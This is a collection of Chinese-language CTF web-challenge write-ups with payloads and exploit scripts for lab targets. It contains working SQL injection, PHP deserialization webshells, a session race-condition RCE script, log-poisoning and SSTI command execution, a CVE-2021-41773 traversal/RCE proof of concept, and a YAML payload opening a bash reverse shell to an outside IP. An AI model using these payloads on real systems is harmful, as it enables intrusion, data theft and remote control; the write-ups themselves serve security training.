34和39是双单引号的ascii保证了S替换后还是原来的串
1 S:REPLACE(REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),B的编码,"B")',CHAR(34),CHAR(39)),B的编码,'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),B的编码,"B")')
让B等于字母B,CHAR(66),payload:
1 2 3 4 5 6 7 S: '/**/union/**/select/**/REPLACE(REPLACE('A',CHAR(34),CHAR(39)),CHAR(66),'A')# A: "/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")# '/**/union/**/select/**/REPLACE(REPLACE('"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#',CHAR(34),CHAR(39)),CHAR(66),'"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#')#
76.[SWPUCTF 2022 新生赛]ez_ez_php(revenge) payload:?file=php://filter/read=convert.base64-encode/resource=/flag
77.[SWPUCTF 2022 新生赛]奇妙的MD5 payload: /f1na11y.php POST:wqh[]=1&dsy[]=2
78.[天翼杯 2021]esay_eval exp:
1 2 3 4 5 6 7 8 9 10 <?php class A { public $code = "eval(\$_POST[cmd]);" ; } class B {public $a ;} $a = new B ();$a ->a=new A ();echo serialize (($a ));
由于要绕过类A的__wakeup,所以A类成员数需要改成大于实际成员数,并且为了绕过waf,利用的是php类大小写不敏感特性
1 2 O:1 :"B" :1 :{s:1 :"a" ;O:1 :"A" :1 :{s:4 :"code" ;s:18 :"eval($_POST [cmd]);" ;}} O:1 :"B" :1 :{s:1 :"a" ;O:1 :"a" :2 :{s:4 :"code" ;s:18 :"eval($_POST [cmd]);" ;}}
打完蚁剑连接,无法进入根目录,需要提权,WP发现的是有redis服务,把主从复制的exp.so上传到web服务器目录下,蚁剑下载redis管理的插件,连接redis shell输入exp.so里的密码即可提权
79.[HNCTF 2022 Week1]What is Web 扫目录有个/flag.php没啥用
F12的注释<!--f|l|a|g|is|base64decode(TlNTQ1RGe0hlbGwwX1dlYmVyX1dlYzBtM19jb21lXzJfd2ViX3cwcjFkIX0=)-->
80.[第五空间 2021]EasyCleanup rce的waf很死,考虑通过session进行文件包含。php5.4后添加session.upload_progress
,上传文件时php会把上传的详细信息存储到session中,根据此特性可以将恶意代码写入session。
查看phpinfo,session栏有一些关键信息:
Directive
value
Discription
Session Support
enabled
开启session机制
session.auto.start
Off
On时接受请求自动初始化,无需session_start(),默认都关闭;
session.name
PHPSESSID
session.save_path
/tmp
如果没有配置则不会生成session文件
session.upload_progress.cleanup
On
默认为on,文件上传结束时删除上传进度,导致需要使用条件竞争
session.upload_progress.enabled
On
off时就无法使用这个办法了
session.upload_progress.name
PHP_SESSION_UPLOAD_PROGRESS
使php报告上传进度,该值可控
session.upload_progress.prefix
upload_progress_
加上name表示为session的键名
此外,session.use_strict_mode默认也为off,此时可以自定义sessionID如r4iny,这个时候服务器会创建这样一个文件:/tmp/sess_r4iny
即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import ioimport requestsimport threading from cffi.backend_ctypes import xrangesessid = '0' target = 'http://node4.anna.nssctf.cn:28899/' file = 'r4iny.txt' f = io.BytesIO(b'a' * 1024 * 50 ) def write (session ): while True : session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_GET["cmd"]);?>' }, files={'file' : (file, f)}, cookies={'PHPSESSID' : sessid}) def read (session ): while True : resp = session.post( f"{target} ?mode=foo&file=/tmp/sess_{sessid} &cmd=system('cd /;ls;cat nssctfasdasdflag');" ) if file in resp.text: print (resp.text) event.clear() else : print ("[+]retry" ) if __name__ == "__main__" : event = threading.Event() with requests.session() as session: for i in xrange(1 , 30 ): threading.Thread(target=write, args=(session,)).start() for i in xrange(1 , 30 ): threading.Thread(target=read, args=(session,)).start() event.set ()
81.[HNCTF 2022 Week1]Interesting_http 数据包:
1 2 3 4 5 POST / HTTP/1.1 Cookie: user=admin X-Forwarded-For: 127.0.0.1 want=flag
82.[WUSTCTF 2020]朴实无华 /fl4g.php
第一套:intval()使用不当,intval(‘1e10’)=1;intval(‘1e10’+1)=141065409
第二套:经典md5,0e绕过0e215962017
第三套:过滤了空格和cat,使用${IFS}和tac
payload:/fl4g.php?num=1e10&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
83.[LitCTF 2023]Flag点击就送! 脑洞题,secret_key为LitCTF,flasksession伪造
python3 flask_session_cookie_manager3.py encode -s 'LitCTF' -t '{"name":"admin"}'
84.[NISACTF 2022]is secret exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import base64from urllib import parsedef rc4_main (key = "init_key" , message = "init_message" ): s_box = rc4_init_sbox(key) crypt = str (rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox (key ): s_box = list (range (256 )) j = 0 for i in range (256 ): j = (j + s_box[i] + ord (key[i % len (key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt (plain, box ): res = [] i = j = 0 for s in plain: i = (i + 1 ) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr (ord (s) ^ k)) cipher = "" .join(res) return (str (base64.b64encode(cipher.encode('utf-8' )), 'utf-8' )) key = "HereIsTreasure" message = input ("请输入明文:\n" ) enc_base64 = rc4_main( key , message ) enc_init = str (base64.b64decode(enc_base64),'utf-8' ) enc_url = parse.quote(enc_init) print ("rc4加密后的url编码:" +enc_url)
85.[NISACTF 2022]middlerce PRCE回溯绕过限制;使用反引号执行命令,短标签执行php。
exp:
1 2 3 4 5 6 import requestspayload = '{"cmd":"?><?=`tail /f*`?>","$":"' + "$" *(1000000 ) + '"}' res = requests.post("http://node4.anna.nssctf.cn:28713/" , data={"letter" :payload}) print (res.text)
86.[SWPUCTF 2022 新生赛]1z_unserialize exp:
1 2 3 4 5 6 7 8 <?php class lyh { public $lt = 'system' ; public $lly = 'cat /flag' ; } $a = new lyh ();echo serialize (($a ));
87.[SWPUCTF 2022 新生赛]numgame call_user_func的要点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php function a ($value ) { echo $value ; } call_user_func ('a' ,"b" );namespace a ;class A { static public function b ( ) { echo "123" ; } } call_user_func (__NAMESPACE__ .'A::b' );call_user_func (array (__NAMESPACE__ .'A' ,'b' ));class B { static function c ( ) { echo "456" ; } } call_user_func ('B::c' );$b = new B ();call_user_func (array ($b , 'c' ));
F12查看1.js发现 NSSCTF{TnNTY1RmLnBocA==}
,内容解b64得到NsScTf.php,根据提示访问hint2.php
hint1可以使用post传参
最终payload:
88.[HUBUCTF 2022 新生赛]HowToGetShell 无字母getshell,构造phpinfo
payload:mess=$_=("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60");$_();
相当于先执行$_=phpinfo然后调用$_(); -> phpinfo();
89.[NISACTF 2022]join-us tt=1'a()#
回显FUNCTION sqlsql.a does not exist
报错得到数据库名为sqlsql
extractvalue()没有被禁用,使用报错注入
1'||extractvalue(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like('sqlsql'))))#
回显XPATH syntax error: '~Fal_flag,output'
,即有Fal_flag
和output
两个表
column被禁用时使用join绕过
1'||extractvalue(0,concat(0x7e,(select * from (select * from output a join output b) c)))#
回显Duplicate column name 'data'
1'||extractvalue(0,concat(0x7e,(select data from output)))#
回显XPATH syntax error: '~NSSCTF{28285739-bad7-4970-8d...'
mid拼后半段1'||extractvalue(0,concat(0x7e,mid((select data from output),20,60)))#
90.[NSSRound#4 SWPU]1zweb 直接查询/flag
91.[SWPUCTF 2022 新生赛]where_am_i flag in /ending.php
92.[SWPUCTF 2022 新生赛]ez_ez_unserialize exp:
1 2 3 4 5 6 7 8 <?php class X { public $x = 'fllllllag.php' ; } $a = new X ();echo serialize (($a ));
93.[GDOUCTF 2023] 1 2 pip3 install fenjing python3 -m fenjing webui
焚靖CTFssti通杀
94.[HNCTF 2022 WEEK2]easy_include nginx可通过UA传一句话,访问日志文件触发木马,nginx的日志位置:/var/log/nginx/access.log
1 2 3 4 5 6 7 8 9 10 GET /?file=/var/log/nginx/access.log&cmd=system('cat /ffflllaaaggg'); HTTP/1.1 Host: node5.anna.nssctf.cn:28665 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: <?php @eval($_GET['cmd']);?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
95.[SWPUCTF 2021 新生赛]hardrce_3 自增payload
1 2 3 $_ =[];$_ =@"$_ " ;$_ =$_ ['!' =='@' ];$___ =$_ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ;$____ ='_' ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$_ =$$____ ;$___ ($_ [_]);
不知道为什么写马写不进去,用这个直接读flag就行了
1 _=file_put_contents ('1.php' ,"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> " );
96.[SWPUCTF 2022 新生赛]js_sign F12,敲击码33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15
去除空格
反查解码
3343431344215434452124331421311122125444113513341415
NSSCTF{youfindflagbytapcode}
97.[HNCTF 2022 WEEK2]ez_SSTI 焚靖一把梭,flag就在当前目录下
98.[GDOUCTF 2023]反方向的钟 construct可以自己重写的
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class teacher { public $name ; public $rank ; public function __construct ( ) { $this ->name = 'ing' ; $this ->rank = 'department' ; } } class classroom { public $name ; public $leader ; public function __construct ( ) { $this ->name = 'one class' ; $this ->leader = new teacher (); } } class school { public $department ; public $headmaster ; public function __construct ( ) { $this ->department = new classroom (); $this ->headmaster ='ong' ; } } $a = new school ();echo base64_encode (serialize (($a )));
之后使用php原生类SplFileObject执行文件读取a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
99.[SWPUCTF 2022 新生赛]xff X-Forwarded-For: 127.0.0.1
Referer: index.php
100.[MoeCTF 2022]baby_file payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
101.[CISCN 2019初赛]Love Math 二次传参rce
16进制只能构造到字母f,36进制可以构造所有的字母。
dechex:把10进制转换成16进制,_GET的16进制是5F474554
,转换成10进制是1598506324
base_convert(num,10,36)把10进制转换成36进制
16进制转换成字符串,需要hex2bin函数
使用base_convert构造出hex2bin,hex2bin作为36进制的数,转换为10进制是37907361743
base_convert(37907361743,10,36)(dechex(1598506324))
得到的结果就是_GET
使用变量pi来保存base_convert的结果,形式是$pi
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag
编译一下,?c=$pi=_GET;
那么$$pi就是$_GET
$$pi{pi}就是$_GET{pi}也就是$_GET[pi]
那么$$pi{pi}($$pi{abs})
也就是最上面的$_GET[1]($_GET{2})
,1和2在本题会被过滤,使用合法的代号pi
和abs
,尽量选择短的,因为payload长度不能超过80
102.[NSSRound#8 Basic]MyDoor 文件读取flag.php失败,尝试读取index.php如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );if (isset ($_GET ['N_S.S' ])) { eval ($_GET ['N_S.S' ]); } if (!isset ($_GET ['file' ])) { header ('Location:/index.php?file=' ); } else { $file = $_GET ['file' ]; if (!preg_match ('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is' , $file )) { include $file ; } else { die ('error.' ); } }
php的特性,N[S.S会解析成N_S.S
payload:?N[S.S=phpinfo();&file=1
103.prize_p5 非预期:SplFileObject绕过waf,类大小写不敏感(改为大写S)
O:9:"catalogue":2:{s:5:"class";s:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}
?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}
预期:序列化字符串逃逸
name=test&phone[]=NSS&email=test
O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:3:"hacker";}s:5:"email";s:4:"test";}
目标:";}s:5:"email";s:5:"/flag";}
,一共28个字符,就需要使用hello触发waf的替换,hello变hacker,就可以多一个字符出来了,要28个hello
hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}
O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:168:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"email";s:5:"/flag";}";}s:5:"email";s:4:"test";}
payload:
?cata=1 POST name=test&phone[]=hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}&email=test
104.[NCTF 2018]flask真香 /后面直接接的就是注入点,无需参数,fuzz存在以下黑名单
1 2 3 4 5 class getattr builtins import os
使用字符串拼接绕过,查询子类
{{()['__cla''ss__'].__bases__[0]['__subcla''sses__']()}}
,得到大量子类
寻找warnings.catch_warnings子类的下标:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import jsonclasses=""" [<class '_bz2.BZ2Decompressor'>, ... """ num=0 alllist=[] result="" for i in classes: if i==">" : result+=i alllist.append(result) result="" elif i=="\n" or i=="," : continue else : result+=i for k,v in enumerate (alllist): if "warnings.catch_warnings" in v: print (str (k)+"--->" +v)
{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('ls /').read()")}}
105.[LitCTF 2023]就当无事发生 进入出题人博客->关于我->github->进入ProbiusOfficial.github.io查找归档文件里的flag,但是现在已删除,只能在wp里找到
106.[SWPUCTF 2022 新生赛]ez_sql 双写绕过,/**/绕过空格
POST:nss=2'/**/ununionion/**/select/**/1,database(),3;#
得到NSS_db,回显位在2和3,但后续注入要在3
nss=2'/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#
nss=2'/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#
2'/**/ununionion/**/select/**/1,2,group_concat(Secr3t)/**/from/**/NSS_tb;#
107.[HDCTF 2023]YamiYami 非预期:file:///proc/1/environ
预期:session伪造+yaml反序列化,当前目录在/app,尝试读取/app/app.py,可以使用二次url编码绕过waf
/read?url=file:///%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39
读取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import os import re, random, uuid from flask import * from werkzeug.utils import * import yaml from urllib.request import urlopen app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = False BLACK_LIST=["yaml" ,"YAML" ,"YML" ,"yml" ,"yamiyami" ] app.config['UPLOAD_FOLDER' ]="/app/uploads" @app.route('/' ) def index (): session['passport' ] = 'YamiYami' return ''' Welcome to HDCTF2023 Read somethings Here is the challenge Upload file Enjoy it pwd ''' @app.route('/pwd' ) def pwd (): return str (pwdpath) @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('app.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print (str (ex)) return 'no response' def allowed_file (filename ): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : if 'file' not in request.files: flash('No file part' ) return redirect(request.url) file = request.files['file' ] if file.filename == '' : return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/' ): os.makedirs('./uploads/' ) file.save(os.path.join(app.config['UPLOAD_FOLDER' ], filename)) return "upload successfully!" return render_template("index.html" ) @app.route('/boogipop' ) def load (): if session.get("passport" )=="Welcome To HDCTF2023" : LoadedFile=request.args.get("file" ) if not os.path.exists(LoadedFile): return "file not exists" with open (LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else : return "No Auth bro" if __name__=='__main__' : pwdpath = os.popen("pwd" ).read() app.run( debug=False , host="0.0.0.0" ) print (app.config['SECRET_KEY' ])
在/boogipop路由下是getflag的主要逻辑,session伪造+yaml反序列化,先需要知道secret_key,在/sys/class/net/eth0/address,再用脚本解密,修改,再加密
02:42:ac:02:9e:d3
1 2 3 import randomrandom.seed(0x0242ac029ed3 ) print (str (random.random()*233 ))
1 2 3 4 5 6 7 8 python3 flask_session_cookie_manager3.py decode -s 137.52056192943886 -c 'eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZO_r9w.mAjNdzv1Oe15iXPs7n6g0rSK02A' {'passport' : 'YamiYami' } python3 flask_session_cookie_manager3.py encode -s 137.52056192943886 -t "{'passport':'Welcome To HDCTF2023'}" eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZO_xQw.MOIAYyIci-lbAAe3YSHa_4WH-8s
伪造session完成,接下来处理yaml反序列化,利用的是yaml.full_load(f)
,exp:
1 2 3 4 5 6 7 8 9 10 !!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/8.130.68.224/8888 <&1\"')" - !!python/object/new:staticmethod args: [] state: update: !!python/name:eval items: !!python/name:list
在upload
处上传,修改session为伪造的值,开启端口监听。进行文件包含:/boogipop?file=uploads/2.txt
反弹shell,cat /tmp/flag_13_114514
108.[NCTF 2018]滴!晨跑打卡 /**/被过滤使用%a0代替,#被过滤正常闭合处理
绕空格的一些常见方法如下:
1 %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
使用bp发包,请勿在浏览器操作
?id=1%27%a0union%a0select%a01,table_name,3,4%a0from%a0information_schema.tables%a0where%a0table_schema=%27database()%27%a0||%27
和原题不一样的是在这个地方会回显查询语句本身,通过回显可以看到表名是pcnumber
/?id=1%27%a0union%a0select%a01,column_name,3,4%a0from%a0information_schema.columns%a0where%a0table_name=%27pcnumber%27%a0||%27
最终payload:
?id=1%27%a0union%a0select%a01,(select%a0group_concat(flag)%a0from%a0pcnumber),3,4%27
109.[SWPUCTF 2022 新生赛]webdog1__start F12看到提示,简单的md5比较,传web=0e215962017
进入下一层,F12看到robots提示->f14g.php
响应包头Hint:oh good job! but no flag ,come to F1l1l1l1l1lag.php
限制payload长度为18字符,较短的cat是\t,较短的{IFS}是\t,然后通配符*去模糊匹配flag
?get=system("nl\t/f*");
110.[GXYCTF 2019]BabySqli F12有段b32->b64,得到
select * from user where username = '$name'
提交数据的post参数为name&pw
大小写绕过waf:name=admin'oRder by 4#&pw=1
name=admin时报错wrong pass
提交pw为数组时报错md5
payload:name=admi'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
111.[NSSRound#4 SWPU]ez_rce CVE-2021-41773,Apache HTTP Server 2.4.49目录穿越漏洞,<Directory />Require all granted</Directory>
默认开启,允许目录穿越,此外如果服务端开启了gi或者cgid这两个mod的情况下,利用该漏洞还将可以执行任意cg命令
poc:/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
RCE:POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh A=|echo;cmd
112.[BJDCTF 2020]ZJCTF,不过如此 payload1:/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
代码逻辑就是执行eval('strlower("\\1");')
,正则是e模式。存在漏洞:e模式下preg_replace可以让第二个参数当做代码执行;正则表达式模式两边添加{}
会将相关匹配存储到一个临时缓冲区,从1开始排序,而\\1
就正好会匹配到第一个变量,传入\S*=${phpinfo()}
正则就是preg_replace('/('.\S*.')/ei','strlower("\\1")',phpinfo());
临时缓存区:/S*==>phpinfo();strlower("\\1")
匹配第一个,就执行了phpinfo()。
payload2:?\S*=${phpinfo()}
113.[鹏城杯 2022]简单的php 1 ';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)
[^\s\(\)]+?
表示不匹配 所有空白符和()
一次或多次
\((?R)?\)
表示循环匹配()
一次或0次,从这一点就需要使用二维数组绕过
无参函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 getallheaders ()get_defined_vars ()session_id () implode () getchwd () scandir () dirname () chdir () readfile ()current () pos () next () end () array_rand ()array_flip ()array_slice ()array_reverse ()chr () hex2bin () getenv () localeconv ()
二维数组拼接注意的点:必须用[!%FF]
进行分割
payload:system(end(getallheaders()));->(~%8C%86%8C%8B%9A%92)[!%FF]((~%9A%91%9B)[!%FF]((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)[!%FF]()));
数据包:
1 2 3 4 5 6 7 8 9 10 11 GET /?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())); HTTP/1.1 Host: node4.anna.nssctf.cn:28147 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: BD_UPN=12314753 Connection: cat /nssctfflag
114.[HGAME 2023 week1]Classic Childhood Game F12
Event.js -> function mota -> var a =['\x59...']
1 2 3 4 5 s = '\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35' print (s)
115.[NISACTF 2022]hardsql Quine注入,详见75题,此处waf禁用了char,可使用chr和0x替换
char(34)=chr(34)->0x22
char(39)=chr(39)->0x27
116.[安洵杯 2020]Normal SSTI fenjing一把梭
117.[MoeCTF 2022]ezhtml F12 evil.js
118.[SWPUCTF 2022 新生赛]funny_php 使用数组绕过strlen,双写绕过正则置空,强碰撞字符串
payload:GET传?num[]=1&str=NSNSSCTFSCTF POST传 md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
119.[HNCTF 2022 WEEK2]ez_ssrf ssrf,但是遇到个很想不明白的点
1 2 3 4 5 GET /flag.php HTTP/1.1 Host: 127.0.0.1 Connection: Close
b64结果是
1 R0VUIC9mbGFnLnBocCBIVFRQLzEuMQpIb3N0OiAxMjcuMC4wLjEKQ29ubmVjdGlvbjogQ2xvc2UKCg==
打过去是400,正确的结果应该是
1 R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
解出来是
1 2 3 4 5 GET /flag.php HTTP/1.1 Host: 127.0.0.1 Connection: Close
而拿上面的复制进行b64
又得到了
1 R0VUIC9mbGFnLnBocCBIVFRQLzEuMQpIb3N0OiAxMjcuMC4wLjEKQ29ubmVjdGlvbjogQ2xvc2UKCgo=
是真的离谱
120.[MoeCTF 2021]Web安全入门指北—小饼干 cookie的VIP改成1即可
121.[MoeCTF 2022]what are y0u uploading? 随便传个马抓包改文件名为f1ag.php直接返回flag
122.[MoeCTF 2021]2048 f12看到
1 2 3 4 5 6 getFlag : function ( ) { var req = new XMLHttpRequest ; req.open ("GET" ,"flag.php?score=" +obj.score ,true ); req.onload = function ( ) { alert (this .responseText ); }
/flag.php?score=999999
123.[UUCTF 2022 新生赛]ez_upload apache的解析是从右往左解析的,上传改文件名为1.jpg.php即可
124.[极客大挑战 2020]welcome post方法访问,数组绕过sha1比较,phpinfo的auto_prepend_file项有/f1444aagggg.php路径,访问F12,flag在响应包头的flag项
125.[MoeCTF 2021]babyRCE 正则很强
1 /cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i
没有过滤\
和?
payload:ca\t${IFS}f?ag.php
126.[SWPUCTF 2022 新生赛]ez_1zpop QNKCDZO
和240610708
用来在非传参时绕过md5弱比较
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class lt { public $md51 ='QNKCDZO' ; public $md52 ='240610708' ; public $impo ; } class fin { public $a ='system' ; public $title ='cat /flag' ; } $a = new lt ();$a ->impo = new fin ();echo serialize ($a );
127.[MoeCTF 2022]ezphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file ('source.txt' );echo "<br><br>" ;$flag = 'xxxxxxxx' ;$giveme = 'can can need flag!' ;$getout = 'No! flag.Try again. Come on!' ;if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($giveme ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($getout ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo 'the flag is : ' . $flag ;?>
GET传参处存在变量覆盖,POST没有,所以在get处传参,payload:?a=flag&flag=a
128.[HZNUCTF 2023 preliminary]flask payload需要倒序,焚靖的--tamper-cmd rev
